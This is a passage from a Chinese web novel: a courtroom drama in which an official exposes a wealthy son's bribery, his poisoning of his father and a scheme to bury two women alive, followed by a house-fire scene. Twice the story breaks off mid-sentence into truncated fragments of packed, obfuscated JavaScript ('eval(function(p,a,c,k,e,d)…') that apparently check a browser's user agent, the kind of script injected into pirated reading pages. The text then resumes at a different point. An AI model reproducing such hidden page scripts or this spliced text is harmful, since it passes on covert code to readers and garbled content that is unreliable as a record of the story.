“实证?老子多得是!”言罢,尤衍自襟处、袖囊、靴内掏取一沓纸书,足有半截小指高,“题款尽是张大人亲笔,亦备张大人受纳金银凭据,老子正是防于你这等奸佞小人反诬!更以防你今日在京官面前舍我而去,张大人殊不知老子留有后手罢?三日前所焚诸据,皆为假证!” 张谦:“将凭证呈堂。” 尤衍一把将纸书紧护在怀,“张大人莫非欲毁其证?老子告诉你没门!衙外百姓尚且瞅着,百千双眼盯眈呢!张大人这是想做什么?” 堂中静默一霎,张谦忽而抬手抚至翻领处,众人处身堂下只可觑他的五指在领内拨弄,其后,张谦的颈处竟如蜕皮似的浮起一层薄膜。 众人尚未缓神,竟见张谦将这张薄膜愈扯愈长,薄膜之下的肌肤匀称且自生英年之气。 此膜与面皮连及,只听“嘶啦”一声,张谦将整层“皮囊”尽褪,众人惊诧之余,终见此人假面下的真貌。 祝好愕然,他当真并非张谦。 只见此人正值青年,他面容清隽,英姿勃发,自生一派拿风跃云之气。 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尤衍不知作何解释,他两膝早已发软,眼见满地纸书被衙役呈交裴应忱之手,他急着下跪挣扎道:“裴大人!草民诚然与张大人行贿赂之事,然以活人作殉是万万没有的!方三娘自行撞柩轻生,她当初已然咽气!尤家上下皆可证!草民贤弟于淮城素有君子之称!他亦可证!阿蘅绝对不会扯谎的!若非如此,草民岂敢将方氏与其父共葬?草民当真不知方氏于棺中转醒啊!”他连连磕头,“请张大人明鉴啊!草民真真冤枉!” 裴应忱趁着翻阅手中行贿铁证的间隙道:“无须急着撇清,待你父亲的尸身入堂,届时遂可大白。” 此言方落,藏弓携众缓步入堂,顷刻间,一股令人作呕的尸臭遍及内堂。 尤琅遗体已遣差役抬至内堂正中,因着身陨数日,其尸早已开始腐化,鉴于府衙观者之众,到底还是蒙了层白布。 裴应忱:“未防万一,尤氏先行揭布认尸,尤衍,你可得瞧清楚了,此人是否为家父。” 尤衍闻此,颤膝起身,他以袖掩鼻徐行至父尸侧近。 他只掀开上身一角,便急急捂着口鼻猛退数步,尤衍紧攥前胸翻江倒海似的干呕起来。 其尸通身呈褐黑,皮面松垮腹部肿胀,两颊凹陷眼珠近空,甚见腐虫自眼窝欢蠕,虽如此,却不难认出此人正是他的父亲尤琅。 尤蘅后脚紧随尸前,同样掀起尸布一角,尸臭瞬间扑面而来,他竭力强忍作呕,将己身仪态维系甚雅,他回道:“禀大人,其尸确是家父无疑。” 尸前立候着一位妙龄女子,她未施粉黛,然素容堪称绝色,她微微俯身道:“其尸已陨近月,方陨之时浸以防腐药汤,遂将此尸维系陨身半月之状,属下亦于其间探得一味致体况渐虚之药,名作“荑苓”,倘若体魄康泰之人服用,可致安眠、昏睡、缓痛之效,然尤琅年事已高,服用此药极可致梦中陨命,是以,尤琅并非因心悸而亡。”女子眼觑仍在作呕的尤衍,“尤琅死期与死因,皆与尤氏所言存异。” 20.荡|妇 尤衍已顾不得因父尸所致的恶心。 “你胡扯!”他强捺呕意,遥指立身尸侧的女子,“我父亲,分明是在半月前迎妾当夜因心悸而故!你这疯女人处身公堂尽言无根之论,欲意何为啊?!明堂岂是尔等小女人所能置喙之地?” “尤衍。”裴应忱神目如电,眸中一片冷霜,“公堂内人人平等,不论男女更当平权,不可因性别低人一等,此堂为明清正,诉冤之地,并非庙堂帝辇,未列三六九等之分,再者,她隶属大理寺名下仵作,岂容你撒气?” 尤衍耳闻心骇,他跪地膝行几步,急辩道:“裴大人教训得是,草民不该出此妄言!可大人,草民当真不曾以活人作殉啊!草民的父亲年事已高,随携疾患在身,草民寻遍名医亦无法令其父病势转缓,草民只好求神拜佛,以重金求请素有盛名的裘道长画符作法,裘道长告知草民,父亲实为阴鬼所缠,破阴之法便是为父亲新纳两位小娘子,言下之意,在于冲喜。” 祝好明讽道:“方才尤大公子一口一个‘小女人’,怎么,你父亲尚需我们这种‘小女人’来续命啊?” 堂外围观大众听闻祝好此言皆捧腹大笑。 裴应忱不知从何处取出一块手绢大小的素面衣料,待裴应忱将其铺展,众人得见,俱是一惊。 “尤氏,你所言裘氏,已于三日前自缢,临前,他曾书下诉状呈至本官案前。”裴应忱晃动以两指夹钳的血书,“他不惜割腕,以血作书,所诉,是你以财权血亲胁他为你之证,裘氏言,你以药入毒弑父归西,至此,你长夜受冤魂所扰,夜不能寐,故而请他作法驱邪,裘氏为护血亲,告知你唯以两位妙龄未婚女子陪葬方可使其父安魂,而你,也的确受此恶法。” 尤衍眯眼锁盯裴应忱手中躺满血字的衣料,“裴大人,区区一纸血书怎可将罪名尽数推卸至草民身上?裘道长亦可污草民!再则,草民缘何毒害父亲?草民尊为尤家长子!迟早尤家的一切皆当归草民所有!既如此,草民何必多此一举?草民再如何蠢笨,又怎会如此冒进?” 是,裘道长是他请来驱邪的不错,可他何时以权财血亲胁于此人?!他又为何自缢而亡后书此状以命相诬? 裴应忱:“你月前代父携金至岐州谈商,奈何将百金尽数豪赌千金楼,更因此负欠岐州府太守家的小公子千银,小公子催得急债,碍于岐州府威势,你只好将随侍作人质压身岐州,之后亲返淮城凑银,不意此事被尤琅得知,尤琅未念父子情谊予你欠银,不止如此,更甚将百年基业承传次子,你情见势竭,加之小公子频频催讨,你只好出此下策——弑父夺财。然尤家百年大族,更迭家主转名产业岂可一夜而蹴?因此,你尚未将债银返还小公子。尤琅因你丧故,你寝间难寐宛受祟扰,是以,你求请裘道长莅临家宅作法,并以殉葬邪道安魂。” 裴应忱将血书细心收存,问言:“是与不是?” 尤衍欲言无声,裴应忱补充道:“张谦不知此事因由,你亦未敢相告。只因你负欠小公子重债,唯恐张谦碍于岐州太守之名将你供招,尤氏,你无须急着狡赖,小公子与本官同行淮城,倘你有所辩,本官可随时传小公子入堂与你对簿。” “以及,你今早遣杀手隐伏依水街拦阻本官一众,很不巧,本官未乘此舆而行,你是不是在想,为何本官如此定准此事为你手笔?”裴应忱凛声道:“江湖之人,多是亡命之徒,他们虽不惧生死,却非全无短处,本官不过问询尤大公子予以几多酬金,本官愿以三倍之数通买此讯,你既可以财帛遣其卖命,本官亦可以高倍财帛令其招供。” 虽则,就算他不以巨财相诱,亦已猜得主使为尤衍,此行不过是多个口供。 尤衍听言至此,已是骇得唇齿打颤,汗珠子更是自他的额角扑打在堂内的冷砖上。 裴应忱令仵作与尸证离堂,其后遣猎户曹资入堂,裴应忱于众跟前向他对簿当日救祝、方俩人的细情,确保所言与祝氏初审所诉一致后,裴应忱究问道:“曹氏,崖下茅屋为你久居之地?” 此问倒与殉葬案无甚干系,曹资却不好随意而答,他下意识瞥视尤蘅,见尤蘅假作未觉,曹资这才道:“回大人,茅屋确为草民长居住地,然草民因行猎之故,时时风餐露宿,并非每夜皆歇此屋。” 裴应忱未视曹资,反倒着眼尤蘅,片刻后,他吩咐道:“曹氏,你若无另事相诉,即可退堂。” 众人不免生疑,京官审案与地方官大相径庭,裴应忱不单所问怪僻,问言更只寥寥两句。 裴应忱:“尤氏,你可需辩正?” 尤衍徐缓抬首,面色与死灰无异,“尤家名下营有药所,草民存疑,‘荑苓’混药难验,仵作既言其父已故一月,时日经久,如何能从尸中探出此药?准是歹人近日方将其药灌注父尸,欲以此谋陷草民!” 裴应忱见他仍旧冥顽不化,只好为此案凿下铁钉,“尤氏,你可曾据闻‘人外有人,天外有天’?不错,荑苓若与旁的药剂相混确实难验,倒并非毫无所查。何况,本官不只依此为你定下罪状。” “其一——你父亲年事已高,生前请匠人打好棺材实属常事,蹊跷的是,你若未先得知方氏会于入尤家当夜亡陨,为何月前特命匠人添打棺材?况且,还是将将好的两副,正对上祝、方俩人之数。其二——你父亲方故时,虽将他的尸身浸沉防腐药浴,然只可维系表肤不作腐而已,实则内中五脏六腑早已深受腐虫肆虐,因此,祝氏擦身送葬仪队方可闻得异处,是以,愈发坐实你父亲的陨期与你言行难致。其三——倘真如你所言,你受旁人所诬,然你父亲尸身腐化的程度,加之入肤的防腐药浴,诸事种种,皆须深思长计,并非一日而蹴,尤氏,你当以何解?” “人证、物证、诉状俱在。”裴应忱语气骤冷,“尤氏可认?” 如裴应忱所言,此案已是板上钉钉,既如此,他怎可不认?为今之计,只得想法减缓罪刑,于是尤衍连连磕头请罪,血浆自眉心淌流,他万分至诚地道:“草民知罪!草民知罪!裴大人,草民行此恶果只因一时被私利迷昏了脑!所幸祝娘子与方娘子未见性命之忧,否则,草民就算死也难将此果偿清啊!” 言下之意,重于提醒裴应忱与在众,他尤衍的确亲行不法之事,然祝、方两位苦主并无人因此亡故,此案当从轻判。 祝好齿冷,她近日饱受酸楚,眼见局势开始扭转,自是不甘放任尤衍寻获喘息之机,祝好猝然下跪,“裴大人,民女尚存苦冤欲诉。” 裴应忱颔首,示意祝好明言。 祝好字字铿锵:“此案初审,尤大公子与张大人合污,擅用私刑,笞刑本当三十,却令民女多受四笞,不只如此,甚而于刑荆上私淬番椒汁!令民女宛受万蚁啃食之痛。事后,民女请仲春堂秦女医就诊,此事民女有意传扬,因而人人皆知,想必尤大公子亦知?”祝好向裴应忱一拜,“裴大人或可请秦女医上堂问话。” 尤衍闻讯却不吃紧,反倒撺掇道:“好啊,祝氏请便!届时若存诬告,可需罪加三等!” 祝好剜了眼尤衍,她续而道:“尤大公子不惮,是早已将秦女医买通?”她笑道:“你大抵不知,我虽请秦女医入宅诊疗,亦请了旁的医师复诊,只是未将此事外传。喔,就算尤大公子有此手段,将就诊祝家的医师尽数以财权诱之,我背上的笞痕却不会欺骗在众的眼目,我只需临堂褪衣,请大伙一觑遂清。” 这便是她当初为何甘愿捱痛亦不令宋携青为她化去脊背诸伤的原由。 创口亦可作利器。 “裴大人,草民亦可证,张大人初审之时,的确越刑四笞。” 尤衍难以置信,他循声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言罢,他挑眉斜睨仍屈膝长跪的尤衍,他眼下狼狈万状,尤衍收受目询亦转眼相看,尤衍分明在此人眼中瞧见一丝鄙薄,他忽闻宋携青言道:“尤氏所疑之处,草民皆可阐明。初审之时,草民家母作寿,故返京都,以致张大人及一众官爷并未于居所寻得草民。此外,在众最为存疑之处,当是草民出生不俗,却对翩翩用情至深?亦因此情,惹得翩翩遭人诟病,更成尤氏口中‘不得见光的手段’。虽则此案与草民不甚瓜葛,尤氏欲请草民上堂估摸也只是想听个笑话,或则……俄延审时?现下既然各众俱在,那么,携青便将话说明白。” “年幼时,双亲携草民离城至京都长居,迁居之日,恰巧定于三月廿二,正逢淮城供游堕仙,长街行人如织,将草民与双亲冲散,草民随人流失散于逼仄旧巷。所幸,草民因此邂遇翩翩,她以纤小的手掌,牵引草民,协草民寻得双亲,数年来,草民未感忘恩,自此,草民遂对翩翩镌骨铭心,此情亦是草民重返此城之由。” 宋携青注视祝好,满目怀情,“翩翩良善坚韧,貌若仙娥,灵心慧性。再则,情爱之事,本就不当相较出身门户,倘俩人有情,即是门当户对,因此,钟爱翩翩怎作失常?她这般好的小娘子,值得世间佼佼爱怜。时隔多年,草民月前得遇翩翩,仅此一瞥,草民心间既定,草民……甚倾翩翩。” “携青试问,尤大公子,对此可存疑难?倘若未有……”他的嗓音骤冷,如雪岭寒峭,“方才你以‘荡|妇’贱称翩翩,小娘子的清誉岂是你能置喙?莫言草民尚未成翩翩之夫,他日翩翩既为我妻,所行之事亦无须我首肯,她理当先为祝好,后为我妻。你更不当以‘人妇’一称欲缚女子行举。” 宋携青沉声而言:“尤衍,你尚欠翩翩、欠我妻,一句赔错。” 21.昭昭 祝好耳闻宋携青之言,只想捂着两耳寻个洞穴钻入,她清楚地感受到,四下的注目皆因宋携青此言齐聚她身。 宋携青胡诌乱造的本事倒从未路遇敌手。 尤衍虽说已是半个阶下囚,然他专横几十余载,怎甘只因宋携青的三两论辞遂对祝好赔不是?他正欲反唇相怼,本是在旁观望的裴应忱却率先启言,“宋氏言之有理,再且,本官方才已明,公堂之上不论男女只当平权,尤氏,你不该以‘荡|妇’一称有辱祝氏。” 尤衍激愤难消,可见裴应忱如此诤言,他怎敢不向祝好赔错?是以,尤衍面挂不忿,遥遥朝祝好拱手道:“方才尤某气急攻心,有失分寸,还望祝姑娘勿怪。” “敢问尤大公子,您是朝何人作歉呢?”祝好不打算轻巧地宽宥他,“您站得这般远,民女怎知大公子可是真心悔悟?再者,赔歉之言是否太甚悄声?音如细蚊,实教人难以耳清。” 宋携青在一旁附和,“如此,烦请尤大公子,移步至翩翩近处赔礼作歉。” 尤衍眼观裴应忱未见阻意,想来正是默许他们一干人的作派。 岂有此理!她夫妻二人在此一唱一和,简直欺人太甚! 然尤衍只得近身向前,他再次拱手作揖,此番语调倒显几分诚挚,“尤某愧对祝姑娘,不应以‘荡|妇’贱名称之,千错万错,皆在尤某。” 尤衍歉言方尽,立足上堂的裴应忱紧接道:“如今,想来尤氏于宋氏已无存疑之处?诸证亦皆呈堂,若苦主与被告再无另事需禀,本官遂可依律定案。” 此言既出,众人心下俱是一紧,祝好一行自是忧虑此案立定的罪刑不足严峻,反观尤衍,却是危惧此案定得过甚惨厉。 如此屏心静气的时节,临扉衙役上前报呈道:“裴大人,林主簿求见。” “传。” 林主簿?尤衍倏忆此人,淮城诸官谁不曾与尤家往来结交、沾点亲故?可偏偏这位林主簿生性淡泊,视名利于空物,尤衍连番以万贯财帛相诱皆闹了个空,为此,他甚或令张谦累次揪他小辫,林主簿今儿个临堂……莫不是开窍了? 嗐,尤衍暗喟,他虽只是个区区九品的主簿,然则,若愿在裴应忱跟前替他宽言几句亦是好的。 林主簿身穿官袍挺腰步近,他年未半百,却已庞眉白发鹤骨霜髯,尤衍见他入堂即跪,心中的期冀复增几分。 林主簿整袖叩拜,“下官见过裴大人。” 裴应忱:“主簿何事需禀?请起身再言。” “是。”林主簿撑膝站起,他先是眼观跪堂的尤衍,方才道:“十年前,小女因与尤衍的姬妾事发口角,尤衍得知此事,竟与家仆将小女围堵荒郊,她年芳二十,腹中已有七月身孕,却因姑娘家不大不小的闺事被一众人活活殴打致死,可笑下官身为此城地方官,却难保小女平安!” 他言此,已是涕泗流涟,“下官,曾作人父,敲击登闻鼓,亦与祝氏一般,身受笞刑,乃至越刑!岂可存用?整整十年!小女仍作堆集负冤的枯骨,荒草已覆坟头几尺高?!尤衍此人,竟欲以金帛贱买小女性命?他怎配?!怎敢?他一生害人无数,小女亦被他弃之度外,可下官既作父身,更为官吏,未敢将诸例冤案遗却,下官理当拨乱反正,心向昭昭!” “什么玩意儿?”尤衍气结怒喝:“你个狗官!而今见老子栋朽榱崩,你遂生胆开首‘拨乱反正’?林主簿既是一腔大义正骨,敢问,先前躲哪儿避难……” 尤衍猛地住嘴,只因裴应忱投向他的双眸分外僵冷,犹如凛冬深埋于霜雪下的钝刀,欲将他的喉舌割裂。 裴应忱:“林主簿,实证可齐?若存证,待此堂事毕,呈于本官堂案。” 林主簿跪谢,“下官一身残骨,唯盼淮城莅临明官,所幸,天不负我!” 至此,众人皆以此事遂近收尾,未想,衙外群潮中,倏然冒出个十来岁的髡首稚童,祝好认得,正是笞刑时为她鸣不平,加之送伞予她的孩童。 “裴大人!裴大人!”稚童高举两手挤身前列,他憋得小脸通红,“我也有冤!我也有冤啊!大人!” 他紧紧环抱一侧檐柱,不令己身被人流冲到后列,“我名唤清规,今将十岁,家住秋杏巷东村二屋,家母为拾花坊乐妓,十一年前,尤衍至坊中听曲,他借势强占家母,家母不堪受辱,自戕而亡。” 尤衍皱眉,“自戕?既如此,关老子何事?再说了,你娘死都死绝了,以何为证?照你这么说,事发时,你个小崽子甚至尚未出世,仅凭你此时的一己之言,怎判真假?拾花坊本就是眠花宿柳之地,你娘能干净到哪去?不堪受辱?乃至自戕?你唬谁?呸!她若这般冰清玉润,怎作妓子?” 裴应忱遣差役将清规请入内堂,清规立身正中,他挺直腰杆续言:“我娘虽为乐妓,却不曾卖身,你既强逼我娘行有违人理之事,就该伏法!”言罢,清规直勾勾地目盯尤衍,他目中猩红溢泪,“我便是人证、亦可为物证,更为实证!” “你是不是想骂我‘孽种’?,我亦痛恨筋骨所流为你污血,可我啊,亦是我阿娘,曾在世的证据,更是为她鸣冤的铁证,是以,十年来,清规拼力苟喘,只为亲见你下地狱。” 数十载,此城蒙受尤衍欺辱之人不知凡几,因他丧生之人更是难以胜记,众苦主虽痛心切骨,却唯有息事宁人买静求安,而今既见方满十岁的小娃娃皆有这般大的胆气与之抗衡,此外众人忽忆祝娘子衙外豪言,心目亦因二人激起层层涟漪,后成滔天之势。 “裴大人!草民亦有冤要禀!上月草民举家至西街布摊,只因尤氏自个不顾路,致膝处偶撞摊角,尤氏便将草民的摊铺砸了个净!不只如此,尤氏对此竟概不赔付!甚以一家老小性命恐吓草民!” “裴大人!五日前,民妇的老母行足鹊香街,只因其母老迈步缓,尤衍觉着老母阻他大道,遂对其母拳打脚踢,民妇之母,现今仍旧卧床难起!” “裴大人!尤衍夜半路经草民家门,因草民外院豢养两只家犬,犬儿见尤衍夜半露尾藏头,遂出声狂吠,岂料翌日清早,尤衍竟将草民的两只家犬双双毒害!大黄与小黑随伴草民数年,较之家人何异?尤衍此人简直猪狗不如!” 一人起首,后人尾随,鸣冤叫屈声捱三顶四,将尤衍骂得狗血淋头。 衙外一差役顶着群情鼎沸的谩骂声费劲地跻身内堂,“大人,祝氏姨母在外求见。” 祝好闻此,不动声色地弯了弯嘴角。 祝岚香入堂,民众的声息渐渐低没下去,她福身道:“裴大人,民妇此行,只为翩翩人证,尤大公子半月前确以二十两通买翩翩作其父之妾,民妇却不曾细想,他竟欲借翩翩干此等阴私。” 实则此案她已无须特意上堂佐证,毕竟尤衍的罪状已是板上钉钉,而祝岚香来此,只为博得祝好与宋携青的恩情,事后好自俩人囊中狠收一笔薄利。 裴应忱亦觉她的口供尽是赘言,他颔首表示已解,正欲遣其下堂,尤衍却出声打断道:“祝岚香,老子倒是险些将你给忘了,难为你却时时惦念着老子呢?别以为老子不知你打得什么算盘,你今个儿既是主动上门,就别想着全身而退。”他自亵裤掏出小半截纸,众人俱是惊怪,方才尤衍已缴收如许书证,没成想……亵裤内还藏着物什呢。 尤衍将其展开,众人只能依稀觑见纸面的两枚钤印,“裴大人望您亲眼!此书乃草民与祝岚香共署,上头所书皆已述清草民买下祝好只为令她作葬!祝岚香亦已立字印钤!她既为草民同谋,怎配作证?别的,想来不必草民多言吧?” 他朝祝岚香呸道:“幸得老子未雨绸缪!你们都想老子死是吧?也罢,老子拖一个是一个!黄泉路上尚有伴!还有谁?!啊?” 祝岚香如何能坐得住?她忙不迭朝尤衍处小跑,却被监守尤衍的两名差役相阻,她急得心肺齐烧,祝岚香自是记得这张文契,当初尤衍只言此书为双方凭证,因尤衍催得急,乃至她连纸面所书墨字皆不及细看,毕竟,以祝好半月前的名声卖个二十两已是天大的好事,不意竟被尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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若照寻常,以宋携青的性子定会噎她几句,而今竟是未闻,不惟如此,祝好见此人望着她,而后道:“沿途三街六巷大众无所不在,作戏需作足,岂有情郎不相送小娘子归家的道理?更何况,我所饰,还是专情脉脉的情种?”他沉吟片刻,接道:“明早,我亲至祝宅接你。” 祝好顿步,“接我?为何?” 宋携青:“我已请人细卜吉日,新近合宜的婚期即在两日后,如今你既将案事善处,亦将祝岚香暂且缚身牢狱,算作了却心头一桩大事,既待成婚,所需物什总需采办,我见此行多是郎君与小娘子协同置办,既如此,你我自不可落下。” 祝好:…… 她本觉古怪,缘何宋携青心细至此,仿若她二人并非假意结亲,原他是为减低差失力求将大小流程通统亲行。 思及此,祝好心下一沉,倘使婚娶诸事皆需亲行,那洞房花烛夜…… …… 夜已深,月华迷蒙。 祝好将未完竣的抹额作绣收尾,遂栖身塌间浅觉。 夜风狂肆,携一缕乌烟暗送小院。 烟卷儿钻入小窗攀上沿绣山栀子的帷幔,祝好猝觉喉嗓呛涩,待她睁眼,窗外的月夜已然化作明火映景,浓烟逼仄。 她赶忙下塌,浮想双亲遗留予她的嫁妆物什,祝好本想拼力打开暗层自木匣取出存单,奈何火势愈大,长夜映如白昼,无法,她只得割爱弃遗,下定决心敞扉奔逃。 怎奈方踏出门房,再度被一卷炽火强逼退却。 房梁顷刻垮塌,火光冲天,夜风助势,了断她的生路。 祝好匍匐于火海,因滚烟呛出的涕泪瞬息被热火烘焦,满屋横飞残屑,烟幕张口将她吞蚀。 她不甘于此,父亲的死因尚未露头,她更有诸事未了,她未及成为此城绣技冠绝的小娘子。 祝好拼尽余力朝外俯爬,她分外清楚地感受到一簇炽火自袖沿燃至臂处。 正逢此时,她忽于映天大火中得见一抹颀长身影,他将火海践踩足下,凡他所行之处,风止火熄。 她忍痛将灼伤的手臂高举,向着那人之处——她要活下去。